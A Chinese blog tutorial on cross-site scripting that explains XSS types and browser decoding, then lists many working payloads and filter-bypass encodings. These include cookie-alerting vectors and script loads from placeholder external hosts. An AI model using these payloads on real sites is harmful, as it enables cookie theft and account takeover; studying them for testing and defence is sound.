经典漏洞-XSS

本文最后更新于:2022年8月25日 下午

1 XSS 概述和原理

跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号 < 被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

1.1 XSS 类型

  • 存储型XSS

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃 cookie

存储型xss

  • 反射型XSS

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

反射型xss

  • DOM型XSS

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM—XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。DOM的详解:DOM文档对象模型

可能触发DOM型XSS的属性:document.referer window.name location innerHTML documen.write

2 XSS 载荷与插入位置

2.1 载荷

tip: 所有的闭合标签的 > 都可以用 // 代替

2.1.1 script 标签

  • script 标签是最直接的XSS有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中
1
2
3
4
5
<script>alert("hack")</script>  
<script>alert(/hack/)</script>
<script>alert(1)</script> # 弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> # 弹出cookie
<script srchttp://xxx.com/xss.js > </script> # 引用外部的js

2.1.2 svg 标签

1
2
<svg onload="alert(1)">
<svg onload="alert(1)"//

2.1.3 img 标签

1
2
<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(document.cookie)>

2.1.4 body 标签

1
2
<body onload=alert(1)>
<body onpageshow=alert(1)>

2.1.5 video 标签

1
<video onloadstart=alert(1) src="/media/aaa.mp4" />

2.1.6 style 标签

1
<style onload=alert(1)></style>

2.1.7 details

1
<details open ontoggle="alert('xss');">

2.1.8 select

1
<select onfocus=alert(1) autofocus>

2.1.9 iframe

1
2
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>

2.1.10 form

1
<form action=javascript:alert('xss') method="get">

2.1.11 自定义标签

1
2
<a href='javascript:alert(666)'>click</a>
<a href='javascript:alert(document.domain)'>click</a>

2.2 XSS 可以插入的位置

  • 用户输入作为script的标签内容
  • 用户输入作为html注释内容
  • 用户输入作为html标签的属性名
  • 用户输入作为html标签属性值
  • 用户输入作为html标签的名字直接插入到CSS里

2.2.1 测试位置

  • 常见业务场景
    重灾区:评论区、留言区、个人信息、订单信息、站内信、网页及时通讯、私信、意见反馈
    存在风险:搜索框、当前目录、图片属性、URL本身、URL所有参数、表单
1
uername=<script>alert(1)<script>&</script>&password=******

3 XSS 编码与绕过

3.1 网页的解码过程

编码就是将字符变为二进制数,而解码就是还原二进制数为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程。

  • URL编码

URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。

  • HTML编码/解码

当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是看到的源代码。具体的解码方式依具体情况而定,所以需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码,所以很多网页就指定了解码方式为UTF-8。

但是在HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签,为了正确地显示预留字符,需要在HTML源代码中使用字符实体,比如常见的空格 ,字符实体以&开头+预先定义的实体名称表示,但不是所有的字符都有实体名称,但是它们都有实体编号,也可以用&#开头+实体编号+分号表示。比如:

显示结果 描述 实体名称 实体编号
< 小于号 < <
> 大于号 > >

浏览器对HTML解码之后就开始解析HTML,将标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。

tip:所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。

  • JS解码(只支持UNICODE)

当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如<script> <style>这样的标签,解析器会自动切换到JS解析模式,而src、 href 后边加入的javascript 伪URL,也会进入JS 的解析模式。

比如<a href="javascript:alert('<\u4e00>')">test</a>,javascript 出发了JS 解释器,JS会先对内容进行解析,里边有一个转义字符\u4e00,前导的 \u 表示他是一个unicode 字符,根据后边的数字,解析为一,于是在完成JS的解析之后变成了:href=”javascript:alert(‘<一>’)”>test

3.2 绕过

3.2.1 关键字被过滤

3.2.1.1 双写绕过

1
<scrscriptipt>alert('xss')</scrscriptipt>

3.2.1.2 字符拼接

1
2
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>

3.2.1.3 编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Unicode 编码
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

# url 编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

# ascii 码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

# hex 码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

# 八进制
<img src=x onerror=alert('\170\163\163')>

# base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

3.2.1.4 内嵌编码后TAB

1
<img src="jav&#x09;ascript:alert('XSS');">

3.2.1.5 多重尖括号

1
<<script>alert("XSS");//<</script>

3.2.1.6 将JS文件重命名为图像

1
<script src="http://xss.rooks/xss.jpg"><script>

3.2.2 过滤空格/引号

3.2.2.1 使用/代替

1
2
<img/src="x"/onerror=alert("xss");>
<img src="x" onerror=alert(/xss/);>

3.2.3 过滤单/双引号

1
2
3
4
# 使用反引号代替
<img src=x onerror=alert(`xss`);>
# 编码绕过
<img src=x onerror=alert(&#x27;xss&#x27;);>

3.2.4 过滤括号

1
2
3
4
5
6
7
8
9
# 使用 throw 绕过
<script>onerror=alert;throw 1337</script>
> onerror在每次javascript执行异常时都会被激活,调用指定的处理程序,并且throw语句可创建一个发送到onerror处的包含表达式的自定义异常。因为throw是一个语句,在和onerror配合使用时需要用分号隔离,避免被包含。

# 使用``代替
<script>alert`1`</script>

# HTML编码绕过
<script>alert&#x28;1&#x29;</script>

3.2.5 过滤URL地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 使用URL编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

# 使用IP
# 使用进制转换
<img src="x" onerror=document.location=`http://2130706433/`>
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

# html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

# 使用\\
但是要注意在windows下\本身就有特殊用途,是一个 path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
<img src="x" onerror=document.location=`\\www.baidu.com`>

# 使用中文句号代替英文点号
<img src="x" onerror="document.location=`http://www。baidu。com`">

# 利用data类型的url代替http://
data:text,alert()

4 利用

XSS plamform

  • cookie editor 浏览器插件

  • burp 更换 http 头部的 cookie、useragent 字段

参考文章

xss总结
xss编码剖析
探索XSS利用编码绕过的原理


经典漏洞-XSS
https://worisur.github.io/2022/07/21/2022-07-21.经典漏洞-XSS/
作者
worisur
发布于
2022年7月21日
许可协议